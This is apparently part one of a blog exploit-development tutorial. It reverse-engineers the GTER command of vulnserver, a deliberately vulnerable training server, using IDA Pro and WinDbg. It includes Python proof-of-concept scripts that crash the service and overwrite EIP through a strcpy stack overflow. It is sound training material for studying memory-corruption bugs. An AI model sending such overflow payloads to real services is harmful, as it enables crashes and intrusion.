This article is the first part of an exploit development series regarding the exploitation process of the GTER command of the vulnserver executable. Furthermore, at this article we will analyse the vulnserver executable using WinDbg debugger assisted with reverse engineering techniques using IDA Pro, in order to understand how the binary works as well as to search for vulnerabilities that may lead to exploitation. In this article we will not be focusing on fuzzing techniques, but rather we will be focusing most in reverse engineering techniques in order to find potential security issues.

The tools used for this exercise are the following

  • IDA Pro
  • API Monitor v2 32-bit
  • WinDbg


Binary Analysis


Starting our binary analysis, we will run API Monitor v2 in order to have a first site about how to communicate with the vulnserver.

APIMonitor

As we can see at the image above, when we run vulnserver, we have an overview of the socket functions that we expect. According to msdn, the getaddrinfo function provides protocol-independent translation from an ANSI host name to an address. Following, is the prototype of the getaddrinfo function.

INT WSAAPI getaddrinfo(
  PCSTR           pNodeName,
  PCSTR           pServiceName,
  const ADDRINFOA *pHints,
  PADDRINFOA      *ppResult
);

As we see above, the second argument is a pointer to a NULL-terminated ANSI string that contains either a service name or port number which is represented as a string.

Similar information regarding the port number we also get from the ntohs function, which, in general terms and according to MSDN, converts a u_short from TCP/IP network byte order to host byte order (which is little-endian on Intel processors). The ntohs function can be used to convert an IP port number in network byte order to the IP port number in host byte order. Following, is the prototype of the ntohs function

u_short ntohs(
  u_short netshort
);

Now that we got this information, we can confirm that the server listens on port 9999. As we see below, we are running netcat tool to connect to port 9999

As we see, there are some commands used by the vulnserver that should be investigated more. At this point we will perform some research regarding the functionality of the vulnserver. We will be using the following poc script in order to send some junk data to the vulnserver.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.201.9"
port = 9999

buffer = "A"*5000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send(buffer)
print s.recv(1024)
s.close()

At this point we are ready to run the script above in order to observe the functional behaviour of the vulnserver. For this reason we will be using WinDbg and IDA Pro. First we will run vulnserver on the target machine and then we will start IDA and attach WinDbg as seen below

Windbg_Attach_On_IDA

After attaching the vulnserver process to WinDbg, we will be ready to start debugging. As we saw earlier, when the application starts, it binds to a specific port where it listens for incoming connections. All the related functions used to implement the raw socket connection are referred at the ws2_32.dll module. Specifically, one interesting function is recv, which according to msdn has the following prototype,

int recv(
  SOCKET s,
  char   *buf,
  int    len,
  int    flags
);

The recv function is the first entry point that will be used in order to receive the bytes coming from the user input. At this point we will put a breakpoint at the recv function as follows

We start by seting a breakpoint at the recv function using the command bp ws2_32!recv

bp-ws2_32

Once we run the poc script, we immediately hit the breakpoint in WinDbg which is set at recv function inside the ws2_32.dll module.

bp-windbg-hit

Moreover, the recv function is not of much interest at this time, so we will continue execution until return from recv function. After returning from recv we will land to the address 0x00401958

bp-windbg-hit

Now, lets try to understand the code marked with a red square as seen at the screenshot above. First, esp register will reserve some space on the stack, specifically 10h ( 16 bytes in decimal ), in order to put there the value in eax to the memory address contained in ebp-410h , which has been moved there using the mov [ebp-410h], eax instruction. The hex value 0x1000 that stored onto the stack at the address 0x0103fb60 is the return value of the recv function which shows clearly that 4096 bytes have been written to the buffer, and this also indicates that there are data coming from user input. So, as we now see at WinDbg debugger the value 0x1000 is stored in address 0x0103fb60 on the stack.

WINDBG>dd ebp-410h L1
0103fb60  00001000

Then the instruction cmp dword ptr [ebp-410h], 0 will compare the value pointed by [ebp-410h], with value 0, and if the value is less than or equal to 0, then the program flow should be redirected to the location loc_4024B6. Also, as we see at the screenshot below, if there is a redirection of the execution flow to the location loc_4024B6, the connection with the vulnserver would be closed.

loc_4024B6

At this point it won't be a redirection to loc_4024B6, and the execution flow will continue as is. If no data returned from recv function, then the socket connection would be closed. The following graph from IDA depicts the case where the execution flow would be redirected to the location loc_4024E8 following the termination of the socket connection.

loc_4024B6

Now, lets explain the following code inside the red square as seen at the screenshot below.

bp-windbg-hit

As we see at the assembly code above, some values are placed on the stack in order to be placed later at the strncmp function as arguments. Moreover, an interesting instruction we see on IDA is the call near ptr unk_402Db8. This instruction specifies a near call to a relative address of the next instruction that as we see below, it contains a jmp instruction to an offset which points to strncmp function.

bp-windbg-hit

Specifically, the immediate value 5 is placed on the stack at the memory address contained in esp+8 which indicates the length of the "HELP " command including the white space. Then the "HELP " string is placed on the stack at a memory address contained in esp+4. Then the string from user input will be placed on the stack at the memory address contained in ebp-10h.

Lets see the arguments of strncmp function in WinDbg

Below we see the address that holds the immediate value 0x5 on the stack

WINDBG>dc esp+8 L1
00edf9d0  00000005  

The second argument ( the string “HELP “ )

WINDBG>dc 00404244 L2
00404244  504c4548 00000020                    HELP ...

The third argument ( the user input )

WINDBG>dc poi(ebp-10h)
00cd48e0  52455447 41414120 41414141 41414141  GTER AAAAAAAAAAA
00cd48f0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00cd4900  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00cd4910  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00cd4920  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00cd4930  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00cd4940  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00cd4950  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
[..SNIP..]

Afterwards, when the arguments are placed on the stack, a call to strncmp function is happened, which then returns the hex value 0xFFFFFFFF on eax register as seen in WinDbg output below

WINDBG>r
eax=ffffffff ebx=00000100 ecx=00000048 edx=00000000 esi=00401848 edi=00401848
eip=004019f1 esp=0109f9c8 ebp=0109ff70 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
vulnserver+0x19f1:
004019f1 85c0            test    eax,eax

The returned value stored at eax is an indicator that the two strings are not equal. If we want to inspect the results further, we can observe the global flags CF and ZF on IDA Pro. Specifically the CF flag has the value 1 and the ZF has the value 0 which indicates that the source string ( the user input ) is bigger than the destination string ( src > dst ).

bp-windbg-hit

At this point as we also see at the image below the execution flow will be forwarded to the location loc_4019D6

bp-windbg-hit

Afterwards, when the comparison with "HELP" won't match, we will land to the location loc_401A4B. At this point we see that there is also a string comparison with "STATS" and then, if there is again no match, the same code pattern will be repeated at the next code portion in order to compare with the string "RTIME", and so on and so forth, until all vulnserver commands will be checked.

bp-windbg-hit

At this point we realize that there is a pattern of string comparison with all possible commands offered by the vulnserver. Specifically, the execution flow will continue in the same way until we match the string "GTER". From the following WinDbg output, we see that the eax register holds tha value 0x00000000, which is the return value from strncmp function and indicates that there is a match with "GTER" string.

eax=00000000 ebx=00000100 ecx=0040444e edx=00000005 esi=00401848 edi=00401848
eip=00401fe9 esp=00e6f9c8 ebp=00e6ff70 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
vulnserver+0x1fe9:
00401fe9 0f85aa000000    jne     vulnserver+0x2099 (00402099)            [br=0]

At this point the jump (JNE) to address 0x00402099 will not be taken. Alternatively, the execution flow will continue to address 0x00401FEF as seen at the image below.

bp-windbg-hit

At this point as we see at the following screenshot, there is a call to malloc function ( loc_402DC0 ), which allocates 180 bytes (0xb4).

bp-windbg-hit

If we follow the loc_402DC0, we will see that there is a jump to the offset off_406198 which indicates the call to malloc as seen at the image below

bp-windbg-hit

Further down, we see that there is a call to loc_4017CE

bp-windbg-hit

If we continue the execution we see the following code

bp-windbg-hit

After some instructions, we see at the address 0x004017D7 that when the instruction mov eax, [ebp+8] executes, the eax register holds the user input, which then will be copied using the strcpy function. The remaining bytes that sent from the poc script will be cut off because the memory boundary has been exceeded.

WINDBG>dc eax L30
00ce48e0  52455447 41414120 41414141 41414141  GTER AAAAAAAAAAA
00ce48f0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ce4900  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ce4910  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ce4920  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ce4930  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ce4940  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ce4950  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ce4960  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ce4970  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ce4980  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ce4990  41414141 00000000 3df6ae3b 00002a68  AAAA

then, the function strcpy will be called using the instruction call loc_402DC8

bp-windbg-hit

at this point, if we continue the execution, the program will crash, and the following screenshot will be shown at the stack view in IDA Pro.

bp-windbg-hit

Now that we know the presence of a buffer overflow vulnerability, we should continue further and write a poc script in order to control the eip register. As we also see at the stack view in IDA Pro, when the program crashed, the stack pointer ( esp resister ) stopped at the address 0x00EAF9C8. With this in mind, we will create the following poc script

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.201.9"
port = 9999

buffer = "A"*151 + "B"*4 + "C"*20

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GTER " + buffer)
print s.recv(1024)
s.close()

If we execute the above script, we will see that we control the EIP register.

WINDBG>r
eax=012cf928 ebx=00000100 ecx=00ec4998 edx=00000000 esi=00401848 edi=00401848
eip=42424242 esp=012cf9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
42424242 ??              ???

We also see the same results in IDA Pro as follows

bp-windbg-hit

At this point we can continue with the exploitation of the buffer overflow vulnerability in order to gain a shell. The exploitation of the vulnserver GTER command will be shown at a second part of this article.

Leave a comment